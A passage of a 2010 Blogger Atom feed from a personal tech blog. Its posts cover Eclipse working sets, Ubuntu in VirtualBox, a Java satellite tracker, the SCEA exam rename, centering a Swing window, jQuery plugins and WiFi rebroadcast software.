/&gt;&lt;br /&gt;&lt;a href="http://lar5.com/cube/examples.html"&gt;&amp;nbsp;http://lar5.com/cube/examples.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-4253536035100743696?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/4253536035100743696/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=4253536035100743696' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4253536035100743696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4253536035100743696'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/10/excellent-applet.html' title='Excellent Applet'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-5334596725071853450</id><published>2010-10-20T00:28:00.000-07:00</published><updated>2010-10-20T00:28:27.740-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java ide eclipse working sets'/><category scheme='http://www.blogger.com/atom/ns#' term='working set in myeclipse'/><category scheme='http://www.blogger.com/atom/ns#' term='working set in eclipse'/><category scheme='http://www.blogger.com/atom/ns#' term='working set for eclipse'/><category scheme='http://www.blogger.com/atom/ns#' term='working set'/><category scheme='http://www.blogger.com/atom/ns#' term='working sets for myeclipse'/><category scheme='http://www.blogger.com/atom/ns#' term='working sets for eclipse myeclipse'/><category scheme='http://www.blogger.com/atom/ns#' term='working sets'/><title type='text'>working set in myeclipse / eclipse</title><content type='html'>You can assign one or several projects to a working set. The advantage of the working set: If you work on many projects, you do not display all project in the package explorer.&lt;br /&gt;&lt;br /&gt;Working sets are a concept derived to help the developer categorize  resources across projects into a contextually relevant representation.  At its core, working sets are simply, as their name suggests, a sub-set  of files/classes/folders/projects that represent a certain developer  workflow. &lt;br /&gt;&lt;br /&gt;Developers have a lot of options when dealing with working sets.&amp;nbsp;  &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_UrKwGB_jepk/TL6YiL9CtOI/AAAAAAAAAOQ/dwzyIcO4a38/s1600/select-working-set.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_UrKwGB_jepk/TL6YiL9CtOI/AAAAAAAAAOQ/dwzyIcO4a38/s1600/select-working-set.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_UrKwGB_jepk/TL6YzxxfBpI/AAAAAAAAAOU/0DTD_tYjLS4/s1600/select-working-set2.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_UrKwGB_jepk/TL6YzxxfBpI/AAAAAAAAAOU/0DTD_tYjLS4/s320/select-working-set2.gif" width="242" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Choose the button &lt;b&gt;New...&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Choose the working set type.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_UrKwGB_jepk/TL6ZDaDxg4I/AAAAAAAAAOY/I27octooqIs/s1600/select-working-set3.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="139" src="http://2.bp.blogspot.com/_UrKwGB_jepk/TL6ZDaDxg4I/AAAAAAAAAOY/I27octooqIs/s320/select-working-set3.gif" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Set a name for the working set and assign the projects.&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_UrKwGB_jepk/TL6ZNn5lgWI/AAAAAAAAAOc/kxuTN8Tn_CQ/s1600/select-working-set4.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://3.bp.blogspot.com/_UrKwGB_jepk/TL6ZNn5lgWI/AAAAAAAAAOc/kxuTN8Tn_CQ/s320/select-working-set4.gif" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt; &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The package explorer shows the selected working set with the assigned projects.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_UrKwGB_jepk/TL6ZXwQzfNI/AAAAAAAAAOg/g4IYBXEWBD0/s1600/select-working-set5.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_UrKwGB_jepk/TL6ZXwQzfNI/AAAAAAAAAOg/g4IYBXEWBD0/s1600/select-working-set5.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_UrKwGB_jepk/TL6Zi4UuFvI/AAAAAAAAAOk/nLo6GankvWI/s1600/select-working-set6.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_UrKwGB_jepk/TL6Zi4UuFvI/AAAAAAAAAOk/nLo6GankvWI/s1600/select-working-set6.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On the drop down menu you can see which working set is activated. You can deselect the working set with the option &lt;b&gt;Deselect Working&lt;/b&gt; &lt;b&gt;Set&lt;/b&gt;&lt;span&gt;.&lt;/span&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-5334596725071853450?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/5334596725071853450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=5334596725071853450' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5334596725071853450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5334596725071853450'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/10/working-set-in-myeclipse-eclipse.html' title='working set in myeclipse / eclipse'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_UrKwGB_jepk/TL6YiL9CtOI/AAAAAAAAAOQ/dwzyIcO4a38/s72-c/select-working-set.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6008269353146059767</id><published>2010-10-20T00:14:00.000-07:00</published><updated>2010-10-20T00:14:55.782-07:00</updated><title type='text'>Installing Ubuntu inside Windows using VirtualBox</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Here's a nice article on intalling ubuntu linux under windows as virtual machine and it really works great...&lt;br /&gt;&lt;br /&gt;Check below link :::&lt;br /&gt;&lt;br /&gt;http://www.psychocats.net/ubuntu/virtualbox&lt;br /&gt;&lt;br /&gt;&lt;iframe align="right" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=ujjwsblo-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=bpl&amp;amp;asins=1430219998&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="height: 245px; padding-right: 10px; padding-top: 5px; width: 131px;"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6008269353146059767?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6008269353146059767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6008269353146059767' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6008269353146059767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6008269353146059767'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/10/installing-ubuntu-inside-windows-using.html' title='Installing Ubuntu inside Windows using VirtualBox'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7425800854744351061</id><published>2010-10-18T03:07:00.000-07:00</published><updated>2010-10-18T03:07:22.687-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java satellite tracker'/><title type='text'>Java satellite tracker</title><content type='html'>Hi, &lt;br /&gt;&lt;br /&gt;JSatTrak is a Satellite tracking program written in Java.  It allows you  to predict the position of any satellite in real time or in the past or  future. It uses advanced &lt;a href="http://en.wikipedia.org/wiki/SGP4"&gt;SGP4/SDP4&lt;/a&gt; algorithms developed by &lt;a href="http://www.nasa.gov/"&gt;NASA&lt;/a&gt;/&lt;a href="http://www.norad.mil/"&gt;NORAD&lt;/a&gt;  or customizable high precision solvers to propagate  satellite orbits.   The program also allows for easy updating of current satellite tracking  data via &lt;a href="http://celestrak.com/"&gt;CelesTrak.com&lt;/a&gt;.  Because  this application was written in Java, it should run on almost any  operating system or directly off the web using java web start!&lt;br /&gt;&lt;br /&gt;http://www.gano.name/shawn/JSatTrak/&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Satellite-Communications-Systems-Techniques-Technology/dp/0470714581?ie=UTF8&amp;amp;tag=ujjwsblo-20&amp;amp;link_code=bil&amp;amp;camp=213689&amp;amp;creative=392969" imageanchor="1" target="_blank"&gt;&lt;img alt="Satellite Communications Systems: Systems, Techniques and Technology" src="http://ws.amazon.com/widgets/q?MarketPlace=US&amp;amp;ServiceVersion=20070822&amp;amp;ID=AsinImage&amp;amp;WS=1&amp;amp;Format=_SL160_&amp;amp;ASIN=0470714581&amp;amp;tag=ujjwsblo-20" /&gt;&lt;/a&gt;&lt;img alt="" border="0" height="1" src="http://www.assoc-amazon.com/e/ir?t=ujjwsblo-20&amp;amp;l=bil&amp;amp;camp=213689&amp;amp;creative=392969&amp;amp;o=1&amp;amp;a=0470714581" style="border: medium none ! important; margin: 0px ! important; padding: 0px ! important;" width="1" /&gt;&lt;iframe align="right" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=ujjwsblo-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=bpl&amp;amp;asins=087259985X&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="height: 245px; padding-right: 10px; padding-top: 5px; width: 131px;"&gt;&lt;/iframe&gt;&lt;img alt="" border="0" height="1" src="http://www.assoc-amazon.com/e/ir?t=ujjwsblo-20&amp;amp;l=bil&amp;amp;camp=213689&amp;amp;creative=392969&amp;amp;o=1&amp;amp;a=087259985X" style="border: medium none ! important; margin: 0px ! important; padding: 0px ! important;" width="1" /&gt;&lt;img alt="" border="0" height="1" src="http://www.assoc-amazon.com/e/ir?t=ujjwsblo-20&amp;amp;l=bil&amp;amp;camp=213689&amp;amp;creative=392969&amp;amp;o=1&amp;amp;a=B003V3WF38" style="border: medium none ! important; margin: 0px ! important; padding: 0px ! important;" width="1" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7425800854744351061?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7425800854744351061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7425800854744351061' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7425800854744351061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7425800854744351061'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/10/java-satellite-tracker.html' title='Java satellite tracker'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-8447409927882039919</id><published>2010-09-22T21:54:00.000-07:00</published><updated>2010-09-22T21:54:55.389-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SCEA Exam officialy renamed to Oracle Certified Master'/><category scheme='http://www.blogger.com/atom/ns#' term='Java EE 5 Enterprise Architect'/><title type='text'>SCEA Exam officialy renamed to Oracle Certified Master, Java EE 5 Enterprise Architect</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;&lt;h3 class="UIIntentionalStory_Message"&gt;&lt;span class="UIStory_Message"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;SCEA Exam officialy renamed to Oracle Certified Master, Java EE 5 Enterprise Architect&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h3 class="UIIntentionalStory_Message"&gt;&lt;span class="UIStory_Message"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;a href="http://in.sun.com/training/certification/java/scea.xml" rel="nofollow" style="font-weight: normal;" target="_blank"&gt;&lt;span&gt;http://in.sun.com/training/certification&lt;/span&gt;&lt;span class="word_break"&gt;&lt;/span&gt;/java/scea.xml&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h3 class="UIIntentionalStory_Message"&gt;&lt;span class="UIStory_Message"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;Cheers,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h3 class="UIIntentionalStory_Message"&gt;&lt;span class="UIStory_Message"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: normal;"&gt;Ujjwal Soni&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h3 class="UIIntentionalStory_Message"&gt;&lt;span class="UIStory_Message"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-8447409927882039919?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/8447409927882039919/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=8447409927882039919' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8447409927882039919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8447409927882039919'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/09/scea-exam-officialy-renamed-to-oracle.html' title='SCEA Exam officialy renamed to Oracle Certified Master, Java EE 5 Enterprise Architect'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7124054057789012554</id><published>2010-09-22T21:51:00.000-07:00</published><updated>2010-09-22T21:51:42.261-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Centering a swing window on screen'/><category scheme='http://www.blogger.com/atom/ns#' term='awt centering window'/><category scheme='http://www.blogger.com/atom/ns#' term='centering window swing'/><category scheme='http://www.blogger.com/atom/ns#' term='swing window center'/><category scheme='http://www.blogger.com/atom/ns#' term='window center swing'/><category scheme='http://www.blogger.com/atom/ns#' term='swing awt window center'/><title type='text'>Centering a swing window on screen</title><content type='html'>In swing or AWT, if you initialize a frame or window by default its position start &lt;span class="IL_AD" id="IL_AD1"&gt;from the top&lt;/span&gt; left corner of screen. Some time it looks odd as we are intended to see the window/frame at center of screen.&lt;br /&gt;To make a window centered, we all need to set the location of window to center with respect to screen size.&lt;br /&gt;There are following steps to make a window centered.&lt;br /&gt;1. Get the screen size&lt;br /&gt;2. Set the window/frame &lt;span class="IL_AD" id="IL_AD2"&gt;location by&lt;/span&gt; &lt;span class="IL_AD" id="IL_AD3"&gt;calculating&lt;/span&gt; it with screen size and frame size. &lt;br /&gt;See the following example.&lt;br /&gt;centerOnScreen Method provide the functionality to make a window centered.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=""&gt;import java.awt.BorderLayout;&lt;br /&gt;import java.awt.Dimension;&lt;br /&gt;import java.awt.Toolkit;&lt;br /&gt;import java.awt.Window;&lt;br /&gt;import javax.swing.JFrame;&lt;br /&gt;import javax.swing.JLabel;&lt;br /&gt;/**&lt;br /&gt;*&lt;br /&gt;* @author ujjwal soni&lt;/pre&gt;&lt;pre class=""&gt;*&lt;/pre&gt;&lt;pre class=""&gt;*/&lt;br /&gt;public class CenteredFrameExample {&lt;br /&gt;JFrame frame;&lt;br /&gt;JLabel label;&lt;br /&gt;public CenteredFrameExample() {&lt;br /&gt;frame = new JFrame("Centered JFrame.");&lt;br /&gt;label = new JLabel();&lt;br /&gt;frame.setSize(250, 150);&lt;br /&gt;frame.setPreferredSize(new Dimension(250, 150));&lt;br /&gt;frame.getContentPane().add(BorderLayout.CENTER, label);&lt;br /&gt;centerOnScreen(frame);&lt;br /&gt;frame.setVisible(true);&lt;br /&gt;frame.pack();&lt;br /&gt;}&lt;br /&gt;public static void main(String args[]) {&lt;br /&gt;CenteredFrameExample centeredFrame = new CenteredFrameExample();&lt;br /&gt;String text = "&lt;divstyle='font-weight:bold;color:green;padding:5px;'&gt;This is the centered frame...&lt;/divstyle='font-weight:bold;color:green;padding:5px;'&gt;&lt;/pre&gt;"; centeredFrame.label.setText(text); } /** * Centers a window on screen. *  * @param w The window to center. */ public void centerOnScreen(Window w) { Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize(); w.setLocation(screenSize.width / 2 - (w.getWidth() / 2), screenSize.height / 2 - (w.getHeight() / 2)); } }&lt;br /&gt;&lt;pre class=""&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre class=""&gt;Thats all for now....&lt;/pre&gt;&lt;pre class=""&gt;&lt;/pre&gt;&lt;pre class=""&gt;Cheers!!!&lt;/pre&gt;&lt;pre class=""&gt;&lt;/pre&gt;&lt;pre class=""&gt;Ujjwal Soni&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7124054057789012554?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7124054057789012554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7124054057789012554' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7124054057789012554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7124054057789012554'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/09/centering-swing-window-on-screen.html' title='Centering a swing window on screen'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-3222971559955259651</id><published>2010-09-19T23:56:00.000-07:00</published><updated>2010-09-19T23:56:03.745-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VERY DYNAMIC SOFTWARE'/><category scheme='http://www.blogger.com/atom/ns#' term='The Divine Algorithm'/><title type='text'>The Divine Algorithm</title><content type='html'>We can create worlds out of CAD.. Even the GOD does so.. I wonder if  there is SOMEBODY who has a VERY DYNAMIC SOFTWARE with perfect blends,  textures and curves.. &amp;amp; we r all programmed by him involoving matrix  multiplications, complex calculations &amp;amp; a lot more things which  only HE understands..&lt;br /&gt;&lt;br /&gt;The part of HIS program which we understand, we call it SCIENCE..&lt;br /&gt;&amp;amp; the one which is beyond the scope of SCIENCE, it is called RELIGION..&lt;br /&gt;&lt;br /&gt;MAN=(UNDERSTOOD PROGRAM)?GOD:MAN;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-3222971559955259651?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/3222971559955259651/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=3222971559955259651' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3222971559955259651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3222971559955259651'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/09/divine-algorithm.html' title='The Divine Algorithm'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-8067417744370478537</id><published>2010-09-14T04:36:00.000-07:00</published><updated>2010-09-14T04:36:13.829-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JQuery plugin'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery plugins'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='best jquery plugins'/><category scheme='http://www.blogger.com/atom/ns#' term='10 Best JQuery Plugin for web design and development'/><title type='text'>10 Best JQuery Plugin for web design &amp; development</title><content type='html'>Hi, &lt;br /&gt;&lt;br /&gt;Here are some more JQuery plugins which i’ve recently  collected &amp;amp; compiled for you. Hope you’ll like it &amp;amp; use in you  web design &amp;amp; devlopment works.&lt;br /&gt;&lt;br /&gt;Details: &lt;a href="http://www.viewsboard.com/index.php/dboard/viewthread/8/83" target="_blank"&gt;http://www.viewsboard.com/index.php/dbo&lt;wbr&gt;&lt;/wbr&gt;ard/viewthread/8/83&lt;/a&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-8067417744370478537?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/8067417744370478537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=8067417744370478537' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8067417744370478537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8067417744370478537'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/09/10-best-jquery-plugin-for-web-design.html' title='10 Best JQuery Plugin for web design &amp; development'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-1073951162328546871</id><published>2010-09-13T05:42:00.000-07:00</published><updated>2010-09-13T05:42:46.986-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FROM YOUR LAPTOP'/><category scheme='http://www.blogger.com/atom/ns#' term='rebroadcast WIFI as your own network'/><title type='text'>Rebroadcast WIFI as your own network, FROM YOUR LAPTOP</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;This is an amazing software that allows you to rebroadcast WIFI as your own network from your laptop.&lt;br /&gt;&lt;br /&gt;Check it out.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.connectify.me/"&gt;http://www.connectify.me/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Its very easy to setup and run. I tried this running on windows 7 and it all run well. :) &lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-1073951162328546871?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/1073951162328546871/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=1073951162328546871' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1073951162328546871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1073951162328546871'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/09/rebroadcast-wifi-as-your-own-network.html' title='Rebroadcast WIFI as your own network, FROM YOUR LAPTOP'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 